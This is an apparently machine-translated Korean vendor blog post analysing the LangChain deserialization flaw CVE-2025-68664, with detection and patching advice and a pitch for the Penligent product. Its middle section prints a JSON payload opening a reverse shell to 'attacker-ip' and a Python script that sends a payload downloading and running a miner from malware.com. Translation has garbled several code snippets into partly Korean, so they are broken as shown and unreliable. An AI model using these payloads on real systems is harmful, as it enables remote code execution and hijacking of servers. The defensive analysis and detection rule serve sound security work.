펜리젠트 헤더

핵 옵션: 랭체인 직렬화 인젝션 심층 분석 CVE-2025-68664

2025년의 AI 보안 전쟁에서는 다음과 같은 정보가 공개될 것입니다. 랭체인 직렬화 인젝션 취약점 CVE-2025-68664 를 깊이 충전하는 것과 같습니다. 프롬프트 인젝션이 애플리케이션 계층에서 모델을 '속이는' 것이라면, CVE-2025-68664는 인프라 계층에서 서버를 '소유'하는 것입니다.

사실상 에이전트 AI의 오케스트레이션 표준인 LangChain의 보안 태세는 매우 중요합니다. CVE-2025-68664(CVSS 9.8, 심각)는 프레임워크가 복잡한 에이전트 상태의 복원을 처리하는 방식에서 근본적인 아키텍처 결함을 드러냅니다: JSON 객체 인스턴스화의 제어 실패.

이 기사는 피상적인 뉴스 보도를 지양합니다. 리버스 엔지니어링 관점에서 다음과 같이 랭체인 코어 소스 코드, 전체 콜 체인을 JSON에서 RCE로 해체하고 Blue Teams를 위한 엔터프라이즈급 자동화 규칙을 제공합니다.

취약점의 해부학: 언제 load 백도어가 됨

LangChain의 강점은 구성 가능성에 있습니다. 체인 및 에이전트의 지속성을 지원하기 위해 LangChain은 다음을 제공합니다. dumpd 그리고 load 메서드를 사용하여 파이썬 객체를 JSON으로 직렬화했다가 다시 메모리로 역직렬화할 수 있습니다.

의 루트 CVE-2025-68664랭체인 코어/로드/로드.py 모듈을 사용해야 합니다. 2025 패치 이전 버전에서는 로더가 매핑 메커니즘에 의존하여 인스턴스화할 수 있는 클래스를 결정했습니다. 그러나 이 메커니즘에는 논리 결함이 있었습니다. 직렬화된 객체를 처리할 때 생성자 유형에서 로더가 모듈 경로의 유효성을 엄격하게 검사하지 못했습니다. id 필드에 추가했습니다. 이로 인해 공격자는 허용 목록을 우회하여 임의의 파이썬 전역 모듈을 로드할 수 있었습니다.

소스 수준 로직 실패

영향을 받는 버전에서는 로딩 로직이 대략 다음과 같이 표시되었습니다(명확성을 위해 단순화했습니다):

Python

# 취약한 로직의 개념적 표현 def load(obj, secrets_map=None): if isinstance(obj, dict) 및 "lc"가 obj에 있으면: # 개체 ID 추출, 예: ["langchain", "llms", "OpenAI"] lc_id = obj.get("id")

    # 취약성: 체크가 존재하지만 표준 라이브러리를 차단하지 못함
    # 공격자 페이로드 ["subprocess", "check_output"]가 통과합니다.
    if obj.get("type") == "constructor":
        반환 _load_constructor(lc_id, obj.get("kwargs"))`

공격자들은 이 점을 악용하여 특정 lc_id 배열을 유도하는 importlib 를 사용하여 민감한 시스템 모듈(예 os, 하위 프로세스, sys) 및 생성자에 악의적인 인수를 전달합니다.

무기화: 완벽한 RCE 페이로드 제작

레드팀 연구원들은 페이로드 구조를 이해하는 것이 검증의 핵심입니다. CVE-2025-68664는 복잡한 바이너리 오버플로우 없이 정확한 JSON 스니펫만 있으면 됩니다.

1단계: 익스플로잇 프로토타입(PoC)

계산기 또는 리버스 셸을 표시하도록 설계된 표준 JSON 페이로드는 다음과 같습니다:

JSON

{ "lc": 1, "type": "생성자", "id": ["subprocess", "check_output"], "kwargs": { "args": ["bash", "-c", "bash -i >& /dev/tcp/attacker-ip/443 0>&1"], "shell": false } }

2단계: Python 익스플로잇 스크립트

실제 시나리오에서 공격자는 이 페이로드를 웹 애플리케이션의 '설정 가져오기' 엔드포인트 또는 에이전트의 메모리 저장소에 주입합니다.

Python

`요청 가져오기 요청 가져오기 json

LangChain 직렬화 인젝션 심층 분석 CVE-2025-68664

Target: 대상: LangChain 구성 파일을 수락하는 AI 에이전트 서비스

url = "http://target-ai-service.com/api/v1/agent/import

payload = { "lc": 1, "type": "생성자", "id": ["subprocess", "run"], "kwargs": { "args": ["wget http://malware.com/miner.sh -O /tmp/x; sh /tmp/x"], "shell": True, "capture_output": True } }

악성 직렬화된 데이터 전송

서버는 langchain.load(json_data) 호출 시 RCE를 트리거합니다.

r = requests.post(url, json=payload, headers={"Content-Type": "application/json"}) print(f"공격 상태: {r.status_code}")`

AI 기반 방어: 펜리젠트의 심층 감사 기술

기존 웹 스캐너(예: Nikto 또는 OWASP ZAP)는 일반적으로 파이썬 런타임에 대한 JSON 페이로드의 의미론적 영향을 이해할 수 없기 때문에 CVE-2025-68664에 대해 실패합니다. 이들은 유효한 JSON을 보고, 서버는 명령 실행 명령을 봅니다.

여기에서 Penligent.ai 의 기술적 우월성을 입증합니다. 펜리전트는 다음을 활용합니다. 시맨틱 인식 직렬화 감사:

  1. AST 역분석: 펜리전트의 AI 에이전트는 맹목적으로 퍼지하지 않습니다. 먼저 대상 애플리케이션의 AST(추상 구문 트리)를 구문 분석하여 특정 랭체인 버전과 로딩 로직을 식별합니다. 안전하지 않은 부분을 정확히 찾아냅니다. load 호출을 호출합니다.
  2. 동적 샌드박스 검증: 탐지하는 동안 펜리전트는 격리된 마이크로-VM에서 로딩 프로세스를 시뮬레이션합니다. "카나리아 토큰"이 포함된 직렬화된 오브젝트를 삽입합니다. 이 오브젝트가 대역 외(OOB) 네트워크 요청(DNS 쿼리)을 성공적으로 트리거하면 시스템은 오탐지 없이 취약점을 확인합니다.

기업 보안 팀을 위해 Penligent는 '코드 커밋'에서 '런타임 모니터링'에 이르는 전체 범위의 방어 기능을 제공하여 악성 에이전트 구성이 프로덕션에 침투하지 못하도록 보장합니다.

블루팀 핸드북: 탐지 및 해결

패치가 완전히 배포되기 전에 블루팀은 공격 시도를 식별하기 위한 탐지 규칙이 필요합니다.

1. 셈그렙 정적 분석 규칙

CI/CD 파이프라인에 다음 규칙을 추가하여 코드베이스에서 취약한 호출을 검사하세요:

YAML

규칙:

  • ID: 랭체인-안전하지 않은 로드 패턴:
    • 패턴: langchain.load.load(...)
    • 패턴-not: langchain.load.load(..., valid_namespaces=["langchain"]) 메시지: "안전하지 않은 LangChain 역직렬화가 감지되었습니다. CVE-2025-68664는 RCE를 허용합니다. 유효한 네임스페이스를 제한하거나 즉시 업그레이드하세요." 언어: [파이썬] 심각도: ERROR`

2. 긴급 수정

플랜 A(권장): 업그레이드 종속성

LangChain은 이 로직을 langchain-core >= 0.3.15에 패치하여 엄격한 기본 허용 목록 메커니즘을 도입했습니다.

플랜 B(임시): 코드 강화

즉시 업그레이드할 수 없는 경우 로드 기능의 로드 범위를 수동으로 제한해야 합니다:

Python

langchain_core.load에서 load 가져 오기

랭체인 네임스페이스에서만 로드를 강제로 허용합니다.

하위 프로세스, OS 및 기타 시스템 모듈을 거부합니다.

safe_config = load( unsafe_json_data, valid_namespaces=["langchain", "langchain_community"] )`.

결론

랭체인 직렬화 인젝션 취약점 CVE-2025-68664 는 AI 인프라 보안이 "암묵적 신뢰"를 기반으로 구축될 수 없음을 다시 한 번 증명합니다. LLM 애플리케이션이 '챗봇'에서 '자율 에이전트'로 진화함에 따라 직렬화, 상태 저장 및 도구 호출을 노리는 공격 표면이 기하급수적으로 증가할 것입니다.

보안 엔지니어는 모든 load() 함수를 호출하면 셸이 대기 중일 수 있습니다.

신뢰할 수 있는 참조 자료

게시물을 공유하세요:
관련 게시물
ko_KRKorean